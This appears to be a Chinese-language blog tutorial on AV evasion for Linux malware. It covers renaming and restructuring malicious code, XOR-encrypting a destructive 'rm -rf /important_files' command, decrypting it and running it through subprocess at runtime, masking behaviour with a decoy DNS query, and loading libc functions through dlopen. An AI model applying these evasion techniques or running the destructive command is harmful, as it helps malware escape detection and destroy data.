当前位置: 首页 > article >正文

Linux 免杀

Linux 免杀概念

在网络安全领域,“免杀” 主要是指让恶意软件(如病毒、木马、后门程序等)躲避杀毒软件(Antivirus,AV)的检测。在 Linux 环境下,杀毒软件会通过多种方式来检测恶意程序,例如基于特征码匹配、行为分析、启发式检测等。免杀技术就是要对恶意软件进行处理,使其能够在不被检测到的情况下在目标系统中运行。

代码混淆

变量名和函数名混淆:

目的:改变程序中的变量名和函数名,使杀毒软件难以通过简单的字符串匹配(如特征码检测)来识别恶意代码。

步骤:如果是用高级编程语言(如 C、Python 等)编写的恶意软件,可以使用脚本或手动修改代码来重命名变量和函数。例如,对于一个简单的 Python 恶意脚本,原始代码如下:

def malicious_function():
    malicious_variable = "敏感信息"
    print(malicious_variable)
malicious_function()

混淆后的代码可以是:

def f1():
    v1 = "敏感信息"
    print(v1)
f1()

代码结构调整:

目的:打乱代码的逻辑结构,让杀毒软件难以分析代码的真实意图。

步骤:可以将一个函数拆分成多个小函数,或者改变函数的调用顺序。例如,对于一个简单的 C 语言恶意程序:

#include <stdio.h>

void malicious_function() {
    printf("恶意操作开始\n");
    // 这里可能是一些恶意操作,如文件窃取等
    printf("恶意操作结束\n");
}

int main() {
    malicious_function();
    return 0;
}

调整后的代码可以是:

#include <stdio.h>

void helper1() {
    printf("恶意操作开始\n");
}

void helper2() {
    // 这里可能是一些恶意操作,如文件窃取等
}

void helper3() {
    printf("恶意操作结束\n");
}

int main() {
    helper1();
    helper2();
    helper3();
    return 0;
}

加密与解密

加密恶意代码部分:

目的:对恶意软件中的关键部分(如执行恶意操作的代码块、包含敏感信息的变量等)进行加密,使杀毒软件无法直接识别其内容。

步骤:以一个简单的 Python 脚本为例,假设要加密一个包含恶意命令的字符串。可以使用简单的加密算法,如异或(XOR)加密。

def xor_encrypt(data, key):
    encrypted_data = ""
    for char in data:
        encrypted_char = chr(ord(char) ^ key)
        encrypted_data += encrypted_char
    return encrypted_data

malicious_command = "rm -rf /important_files"
encryption_key = 123
encrypted_command = xor_encrypt(malicious_command, encryption_key)
print(encrypted_command)

在运行时解密并执行:

目的:在恶意软件运行时,对加密的部分进行解密并执行恶意操作。

步骤:继续上面的 Python 例子,在运行时解密并执行恶意命令(在实际恶意软件中,可能会通过更复杂的方式触发解密后的操作)。

def xor_decrypt(encrypted_data, key):
    return xor_encrypt(encrypted_data, key)

decrypted_command = xor_decrypt(encrypted_command, encryption_key)
# 注意:以下代码仅为示例,实际执行恶意命令是非法的
# 在合法的安全测试场景下,可以替换为无害的模拟操作
import subprocess
subprocess.call(decrypted_command, shell=True)

行为伪装

模拟正常软件行为:

目的:让恶意软件的行为看起来像正常的软件活动,避免被杀毒软件通过行为分析检测到。

步骤:例如,如果恶意软件需要进行网络连接,先进行一些正常的网络请求,如查询公共的 DNS 服务器信息。在 Python 中,可以使用socket模块来模拟正常的网络查询。

import socket

# 模拟正常的DNS查询
def normal_dns_query():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.sendto(b"\x09\x3a\x80\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03\x77\x77\x77\x06\x67\x6f\x6f\x67\x6c\x65\x03\x63\x6f\x6d\x00\x00\x01\x00\x01", ("8.8.8.8", 53))
        data, addr = s.recvfrom(1024)
        print(data)
    except Exception as e:
        print(e)
    finally:
        s.close()

normal_dns_query()

然后再在适当的时候执行恶意的网络连接行为,并且尽量使恶意网络连接的参数(如端口、协议等)看起来不那么可疑。

利用系统调用混淆

动态加载系统调用:

目的:通过动态加载系统调用的方式,使杀毒软件难以通过静态分析来确定程序的真实意图。

步骤:在 Linux 下的 C 语言程序中,可以使用dlopen和dlsym函数来动态加载系统调用相关的函数。例如,要动态加载open函数用于文件操作。

#include <stdio.h>
#include <dlfcn.h>

int main() {
    void *handle;
    int (*open_func)(const char *, int);
    char *error;

    handle = dlopen("libc.so.6", RTLD_LAZY);
    if (!handle) {
        fprintf(stderr, "%s\n", dlerror());
        return 1;
    }
    open_func = (int (*)(const char *, int))dlsym(handle, "open");
    if ((error = dlerror())!= NULL) {
        fprintf(stderr, "%s\n", error);
        return 1;
    }
    // 这里可以使用open_func进行文件操作,模拟正常或恶意行为
    // 注意:以下只是示例,避免进行恶意文件操作
    int fd = open_func("/tmp/test.txt", O_RDONLY);
    if (fd == -1) {
        perror("open");
    } else {
        printf("文件已打开\n");
    }
    dlclose(handle);
    return 0;
}

http://www.kler.cn/a/500184.html

相关文章:

  • 79 Openssl3.0 RSA公钥加密数据
  • leetcode 483. 最小好进制
  • 《Opencv》图像的旋转
  • Android车机DIY开发之学习篇(五)默认应用修改
  • 【网络安全 SOC】痛苦金字塔 Pyramid Of Pain
  • python中无法引入pil怎么解决
  • Openstac持久存储之块存储cinder
  • 机器学习之决策树的分类树模型及决策树绘制
  • [sparkstreaming]java.lang.NoSuchMethodError:错误以及更改
  • DSP+Simulink——点亮LED灯(TMSDSP28379D)超详细
  • 秒懂虚拟化(二):服务器虚拟化、操作系统虚拟化、服务虚拟化全解析,通俗解读版
  • 利用Python实现Union-Find算法
  • 汽车氛围灯静电浪涌的难点
  • conda相关操作
  • AI绘画;Stable Diffusion再升级:学会以图生图!
  • Java项目中集成Github登录
  • docker 启动redis 守护进程
  • 在线实用工具 json格式化,base64转码,正则表达式测试工具
  • 研华 PCI-1751 驱动更新导LabVIEW致程序异常
  • 【端云一体化】云函数的使用
  • 基于开源AI智能名片2+1链动模式S2B2C商城小程序的企业数字化转型深度策略与实践